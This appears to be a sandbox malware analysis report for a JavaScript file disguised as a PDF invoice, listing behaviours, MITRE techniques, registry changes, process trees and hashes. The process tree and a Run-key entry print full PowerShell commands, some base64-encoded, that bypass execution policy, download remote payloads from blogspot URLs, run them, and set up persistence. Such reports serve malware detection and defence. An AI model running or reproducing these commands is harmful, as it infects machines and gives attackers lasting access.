bc166e72ed5fd5d2e4de65f25e8bd084541135b2fcc78a81762dd99a8f9b3fbe

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
30/04/2026, 07:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
invoice-1645080830.pdf (10).js
Size 22.3MB
Sample260430-jsfpfsbz5x
SHA256 bc166e72ed5fd5d2e4de65f25e8bd084541135b2fcc78a81762dd99a8f9b3fbe
MD5 1a22e5cf0ca5b8f21688f0ee3613af37
SHA1 49aacbc34c15d7e5871d130a07df108526cdefce
SHA512 4019f52373ef61b5bc869e949ab9d87dbb9ef50f0d546f057b75b4812f860d89fa94046d44e0f37e96e040566822a9da7ae29914b522a22a17349837b9bf79b7
SSDEEP 49152:nvWovWzvWXvWFvWKvWYvWwvWhvWdvWavWnvWf+/WvWWvWGvWzvWrvWE+/JvW+vWW:f
TLSH
T15B37230AEF29CE3F855B93BD3C5F0C074CEA5A660440F549BBE51DCE9AAEF441663908
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2492	powershell.exe
3	2492	powershell.exe
4	2492	powershell.exe
5	2492	powershell.exe
21	1540	powershell.exe
40	1540	powershell.exe
45	1540	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\draki671 = "conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJAHIATQAgAGgAdAB0AHAAcwA6AC8ALwBoAGkAbQBhAGMAaABhAGwAeQAxADcAYQBwAGwAcgAuAGIAbABvAGcAcwBwAG8AdAAuAGMAbwBtAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADcA"	powershell.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/1540-239-0x0000023CC7E90000-0x0000023CC7EB2000-memory.dmp	ConfuserEx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5876_252227824\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3264	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134220093749638254"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-600123060-2148212387-2211176695-1000\{63E29AC4-959A-4BDF-827D-815682FA3C7D}	msedge.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe
1540	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5876	msedge.exe
5876	msedge.exe
5876	msedge.exe
5876	msedge.exe
5876	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeIncreaseQuotaPrivilege	2492	powershell.exe
Token: SeSecurityPrivilege	2492	powershell.exe
Token: SeTakeOwnershipPrivilege	2492	powershell.exe
Token: SeLoadDriverPrivilege	2492	powershell.exe
Token: SeSystemProfilePrivilege	2492	powershell.exe
Token: SeSystemtimePrivilege	2492	powershell.exe
Token: SeProfSingleProcessPrivilege	2492	powershell.exe
Token: SeIncBasePriorityPrivilege	2492	powershell.exe
Token: SeCreatePagefilePrivilege	2492	powershell.exe
Token: SeBackupPrivilege	2492	powershell.exe
Token: SeRestorePrivilege	2492	powershell.exe
Token: SeShutdownPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeSystemEnvironmentPrivilege	2492	powershell.exe
Token: SeRemoteShutdownPrivilege	2492	powershell.exe
Token: SeUndockPrivilege	2492	powershell.exe
Token: SeManageVolumePrivilege	2492	powershell.exe
Token: 33	2492	powershell.exe
Token: 34	2492	powershell.exe
Token: 35	2492	powershell.exe
Token: 36	2492	powershell.exe
Token: SeIncreaseQuotaPrivilege	2492	powershell.exe
Token: SeSecurityPrivilege	2492	powershell.exe
Token: SeTakeOwnershipPrivilege	2492	powershell.exe
Token: SeLoadDriverPrivilege	2492	powershell.exe
Token: SeSystemProfilePrivilege	2492	powershell.exe
Token: SeSystemtimePrivilege	2492	powershell.exe
Token: SeProfSingleProcessPrivilege	2492	powershell.exe
Token: SeIncBasePriorityPrivilege	2492	powershell.exe
Token: SeCreatePagefilePrivilege	2492	powershell.exe
Token: SeBackupPrivilege	2492	powershell.exe
Token: SeRestorePrivilege	2492	powershell.exe
Token: SeShutdownPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeSystemEnvironmentPrivilege	2492	powershell.exe
Token: SeRemoteShutdownPrivilege	2492	powershell.exe
Token: SeUndockPrivilege	2492	powershell.exe
Token: SeManageVolumePrivilege	2492	powershell.exe
Token: 33	2492	powershell.exe
Token: 34	2492	powershell.exe
Token: 35	2492	powershell.exe
Token: 36	2492	powershell.exe
Token: SeIncreaseQuotaPrivilege	2492	powershell.exe
Token: SeSecurityPrivilege	2492	powershell.exe
Token: SeTakeOwnershipPrivilege	2492	powershell.exe
Token: SeLoadDriverPrivilege	2492	powershell.exe
Token: SeSystemProfilePrivilege	2492	powershell.exe
Token: SeSystemtimePrivilege	2492	powershell.exe
Token: SeProfSingleProcessPrivilege	2492	powershell.exe
Token: SeIncBasePriorityPrivilege	2492	powershell.exe
Token: SeCreatePagefilePrivilege	2492	powershell.exe
Token: SeBackupPrivilege	2492	powershell.exe
Token: SeRestorePrivilege	2492	powershell.exe
Token: SeShutdownPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeSystemEnvironmentPrivilege	2492	powershell.exe
Token: SeRemoteShutdownPrivilege	2492	powershell.exe
Token: SeUndockPrivilege	2492	powershell.exe
Token: SeManageVolumePrivilege	2492	powershell.exe
Token: 33	2492	powershell.exe
Token: 34	2492	powershell.exe
Token: 35	2492	powershell.exe
Token: 36	2492	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5876	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1540	powershell.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 5796 wrote to memory of 2492	5796	wscript.exe	79
PID 2492 wrote to memory of 5876	2492	powershell.exe	81
PID 5876 wrote to memory of 3960	5876	msedge.exe	83
PID 5876 wrote to memory of 3152	5876	msedge.exe	84
PID 5876 wrote to memory of 3264	5876	msedge.exe	85
PID 5876 wrote to memory of 3152	5876	msedge.exe	84
PID 5876 wrote to memory of 3152	5876	msedge.exe	84
PID 5876 wrote to memory of 5444	5876	msedge.exe	86
PID 5876 wrote to memory of 5444	5876	msedge.exe	86
PID 5876 wrote to memory of 5236	5876	msedge.exe	87
PID 5876 wrote to memory of 5236	5876	msedge.exe	87
PID 5876 wrote to memory of 5236	5876	msedge.exe	87
PID 5876 wrote to memory of 1900	5876	msedge.exe	88
PID 5876 wrote to memory of 1900	5876	msedge.exe	88
PID 5876 wrote to memory of 1900	5876	msedge.exe	88
PID 5876 wrote to memory of 2604	5876	msedge.exe	90
PID 5876 wrote to memory of 2604	5876	msedge.exe	90
PID 5876 wrote to memory of 2604	5876	msedge.exe	90
PID 5876 wrote to memory of 3376	5876	msedge.exe	91
PID 5876 wrote to memory of 3376	5876	msedge.exe	91
PID 5876 wrote to memory of 3376	5876	msedge.exe	91
PID 3412 wrote to memory of 1540	3412	conhost.exe	94
PID 5876 wrote to memory of 5648	5876	msedge.exe	95
PID 5876 wrote to memory of 4612	5876	msedge.exe	96
PID 5876 wrote to memory of 5648	5876	msedge.exe	95
PID 5876 wrote to memory of 4612	5876	msedge.exe	96
PID 5876 wrote to memory of 2928	5876	msedge.exe	97
PID 5876 wrote to memory of 1612	5876	msedge.exe	99
PID 2928 wrote to memory of 2044	2928	msedge.exe	100
PID 5876 wrote to memory of 3724	5876	msedge.exe	104
PID 5876 wrote to memory of 1108	5876	msedge.exe	105
PID 5876 wrote to memory of 2244	5876	msedge.exe	106
PID 5876 wrote to memory of 3148	5876	msedge.exe	107
PID 5876 wrote to memory of 3148	5876	msedge.exe	107
PID 5876 wrote to memory of 5596	5876	msedge.exe	108
PID 5876 wrote to memory of 5596	5876	msedge.exe	108
PID 5876 wrote to memory of 5880	5876	msedge.exe	110
PID 5876 wrote to memory of 5880	5876	msedge.exe	110
PID 5876 wrote to memory of 4800	5876	msedge.exe	111

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (10).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:5796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\Document.pdf
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffa8bafc188,0x7ffa8bafc194,0x7ffa8bafc1a0
      4⤵
      PID:3960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1680,i,8046495114560620302,9729116271009704548,262144 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:2
      4⤵
      PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1884,i,16868997800887560487,15620372470775759844,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:11
      4⤵
      System Time Discovery
      PID:3264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2180,i,8569748839440353686,5727392095458355205,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=2984 /prefetch:13
      4⤵
      PID:5444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,12871776077348753560,9492709868529181501,2097152 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
      4⤵
      PID:5236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,14195582213741887660,1043434807564515173,2097152 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
      4⤵
      PID:1900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4744,i,14045957540358638051,2338973120767269261,2097152 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:9
      4⤵
      PID:2604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4928,i,12423526301480059879,1079628124078486139,2097152 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:15
      4⤵
      PID:3376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5264,i,11241093002185837500,14314580540141466389,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:14
      4⤵
      PID:5648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5272,i,9836532720422193932,6110354418308043293,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
      4⤵
      PID:4612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,7497732186064457082,2158871661883861343,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2928
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        5⤵
        
        PID:2044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,7436009650141915601,1308743957350596897,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
      4⤵
      PID:4724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,7436009650141915601,1308743957350596897,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6132 /prefetch:14
      4⤵
      PID:1612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6840,i,6084132476467568083,4438698802553893504,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:14
      4⤵
      PID:3724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,3224490781808778475,15623363190246495231,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:14
      4⤵
      PID:1108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6792,i,8311842817113621192,275518479383441777,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:14
      4⤵
      PID:2244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6876,i,433020961978418470,11828947809170487698,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6900 /prefetch:14
      4⤵
      PID:3148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,8176122579841453985,226957559932261943,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:14
      4⤵
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5824,i,5015468515318935830,18184892639425733305,524288 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:14
      4⤵
      PID:5880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=868,i,12832692006384404351,6083457041604508155,262144 --field-trial-handle=2832,i,17338336865845194883,15941400529775026531,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:10
      4⤵
      PID:4800

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2244

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJAHIATQAgAGgAdAB0AHAAcwA6AC8ALwBoAGkAbQBhAGMAaABhAGwAeQAxADcAYQBwAGwAcgAuAGIAbABvAGcAcwBwAG8AdAAuAGMAbwBtAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADcA
1⤵
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJAHIATQAgAGgAdAB0AHAAcwA6AC8ALwBoAGkAbQBhAGMAaABhAGwAeQAxADcAYQBwAGwAcgAuAGIAbABvAGcAcwBwAG8AdAAuAGMAbwBtAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADcA
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8f791e1d-f510-45ec-8e6e-fec935c09d93.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\8f791e1d-f510-45ec-8e6e-fec935c09d93.tmp
Size 27KB
SHA256 e621134c3247c15abfe9adde5de2e28822051a9a174199e0452f880c025e2a94
MD5 2e5187ad05242bf2591a4631c7baad33
SHA1 493464f4d1c8194ba42c430a5d845371ea5d11dc
SHA512 69e26307a58f299ea2127fc71bdc19afe1b95d48820470ab5bdfae51b6b7860b8e8923b8b8eb3b8a86f54e8519e8c85b939d16b48addbccc924b082a465450e4
